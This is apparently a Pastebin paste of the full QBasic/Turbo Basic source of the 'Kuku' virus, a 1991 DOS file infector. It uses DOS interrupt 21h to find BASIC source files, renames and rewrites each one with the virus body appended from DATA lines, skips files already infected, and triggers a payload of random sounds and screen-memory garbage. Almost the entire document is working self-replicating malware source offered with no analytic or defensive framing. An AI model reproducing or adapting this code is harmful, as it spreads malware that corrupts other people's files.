Advertisement
FlyFar

Kuku Virus Source Code

Jun 27th, 2023
2,301
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
QBasic 4.03 KB | Cybersecurity | 0 0
  1. $event OFF
  2. DEFINT a-z
  3. SCREEN 0,0,0
  4. ?"KUKU VIRUS Ver. 1.0 (Distribution module.)"
  5. ?"Copyright (C) � IVC � Moscow groupe.":?
  6. color 15,4:
  7. ?"***************************************"
  8. ?"*           D A N G E R !!!           *"
  9. ?"* Virus for Turbo Basic source files. *"
  10. ?"***************************************":BEEP
  11. color 7,0
  12. ?:?"Press any key to process ...";
  13. WHILE INKEY$="":WEND
  14. ?" process";
  15. CALL kuku
  16. IF z=0 THEN ?"File infected."
  17. IF z=11 THEN ?" imposible (NO FILE FOR INFECTED)."
  18. ?:?"About all question call to MOSCOW GROUPE of International
  19. ?tab(45);"Viruses"
  20. ?tab(45);"Company (IVC, Inc.)
  21. WHILE INKEY$="":WEND
  22. SCREEN 0,1,0
  23. SUB     KUKU
  24.     SHARED z
  25.         n$=STRING$(8,63)+CHR$(46)+CHR$(66)+CHR$(65)+CHR$(83):DIM dta%(32),find%(32)
  26.     FOR a%=0% TO 32%:dta%(a%)=0:NEXT
  27.         FOR z=0 TO LEN(n$)-2 STEP 2:find%(z/2)=ASC(MID$(n$,z+2,1))*256+ASC(MID$(n$,z+1,1)):NEXT
  28.         reg 1,&h1A00:reg 8,VARSEG(dta%(0)):reg 4,VARPTR(dta%(0)):CALL interrupt &h21
  29.         reg 1,&h4e00:reg 3,attr:reg 8,VARSEG(find%(0)):reg 4,VARPTR(find%(0)):CALL interrupt &h21
  30.         IF reg(1)<>0 THEN p$=STRING$(15,255):GOTO findfirst1
  31.         FOR a=0 TO 32:h=dta%(a) AND 255:p$=p$+CHR$(h):l=(dta%(a)-h)/&h100 AND 255:p$=p$+CHR$(l):NEXT
  32.     findfirst1:
  33.         dta$=p$:f$=MID$(dta$,&h1f,13):IF f$=STRING$(LEN(f$),255) THEN z=11:EXIT SUB
  34.         a=INSTR(2,f$,CHR$(0)):file$=MID$(f$,1,a)
  35.         ?:?"Infecting file :"file$
  36.         NAME file$ AS CHR$(128)
  37.         s1$=CHR$(67)+CHR$(65)+CHR$(76)+CHR$(76)+CHR$(32)
  38.         s2$=CHR$(68)+CHR$(65)+CHR$(84)+CHR$(65)
  39.         s$=CHR$(75)+CHR$(85)+CHR$(75)+CHR$(85)
  40.         OPEN CHR$(128) FOR INPUT AS#1
  41.         ?"Size:"LOF(1)
  42.     OPEN file$ FOR OUTPUT AS #2
  43.         ? #2,S1$S$chr$(13)CHR$(10)
  44.         ?"Transfer file ..."
  45.         WHILE NOT EOF(1):LINE INPUT #1,a$:IF a$="CALL KUKU" THEN z=10
  46.         ? #2,a$:WEND
  47.         IF z=10 THEN ccq
  48.         ?#2,CHR$(32)
  49.         ?"Move data ..."
  50.         FOR a=1 TO 2
  51.             RESTORE KukuData
  52.                 IF a=2 THEN ?#2,S$+s2$+CHR$(58)
  53.             WHILE QWE$<>CHR$(39)
  54.                 READ qwe$
  55.             IF a=2 THEN ?#2,S2$+CHR$(34);
  56.             ? #2,qwe$
  57.             WEND
  58.         qwe$=CHR$(32)
  59.     NEXT
  60.     ?#2,CHR$(69)+CHR$(78)+CHR$(68)+CHR$(32)+CHR$(83)+CHR$(85)+CHR$(66)
  61.     ?"Out size:";LOF(2)
  62.         CLOSE #1,#2:KILL CHR$(128):
  63.         END
  64. ccq:
  65.     ?:?"File already infected ...":z=10
  66.     CLOSE:KILL CHR$(128)
  67.         EXIT SUB
  68. kukudata:
  69.  
  70. DATA"sub     KUKU"
  71. DATA"'              KUKU VIRUS FOR TURBO-BASIC !!!"
  72. DATA"' This virus make at UPK-2 of Sevastopolsky r-n, Moscow.
  73. data"n$=STRING$(8,63)+CHR$(46)+CHR$(66)+CHR$(65)+CHR$(83):DIM dta%(32),find%(32)
  74. DATA"for a%=0% to 32%:dta%(a%)=0:next
  75. data"FOR z=0 TO LEN(n$)-2 STEP 2:find%(z/2)=ASC(MID$(n$,z+2,1))*256+ASC(MID$(n$,z+1,1)):NEXT
  76. DATA"reg 1,&h1A00:reg 8,varseg(dta%(0)):reg 4,varptr(dta%(0)):call interrupt &h21
  77. data"reg 1,&h4e00:reg 3,attr:reg 8,VARSEG(find%(0)):reg 4,VARPTR(find%(0)):CALL interrupt &h21
  78. DATA"if reg(1)<>0 then p$=string$(15,255):goto findfirstfile1
  79. data"FOR a=0 TO 32:h=dta%(a) AND 255:p$=p$+CHR$(h):l=(dta%(a)-h)/&h100 AND 255:p$=p$+CHR$(l):NEXT
  80. DATA"findfirstfile1:
  81. data"dta$=p$:f$=MID$(dta$,&h1f,13):IF f$=STRING$(LEN(f$),255) THEN
  82. DATA"for J=1 to 1500:Sound Rnd(1)*(1500-j)+40,.01:NEXT:delay(2)
  83. data"SCREEN 1:DEF SEG=&Hb800:FOR a=0 TO 16384:POKE a,RND(1)*255:NEXT:EXIT SUB
  84. DATA"end if
  85. data"a=INSTR(2,f$,CHR$(0)):file$=MID$(f$,1,a):NAME file$ AS CHR$(128)
  86. DATA"s1$=chr$(67)+chr$(65)+chr$(76)+chr$(76)+CHR$(32):s2$=chr$(68)+chr$(65)+chr$(84)+chr$(65):s$=chr$(75)+chr$(85)+chr$(75)+chr$(85)
  87. data"OPEN CHR$(128) FOR INPUT AS#1
  88. DATA"open file$ for output as #2
  89. data"? #2,S1$S$chr$(13)CHR$(10)
  90. DATA"while not eof(1):line input #1,a$:? #2,a$:wend
  91. data"?#2,CHR$(32)
  92. DATA"for a=1 to 2:restore KukuData
  93. data"IF a=2 THEN ?#2,S$+s2$
  94. DATA"while QWE$<>chr$(39):read qwe$:if a=2 then ?#2,S2$chr$(34);
  95. data"? #2,qwe$+CHR$(34):WEND
  96. DATA"qwe$=chr$(32):next
  97. data"?#2,CHR$(69)CHR$(78)CHR$(68)CHR$(32)CHR$(83)CHR$(85)CHR$(66)
  98. DATA"close #1,#2:kill chr$(128):exit sub
  99. data"' KUKU Virus Version 1.0
  100. DATA"' (C) �IVC� Moscow groupe. 25-May-1991. Serial No.0003529
  101. DATA"'"
  102. END SUB
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement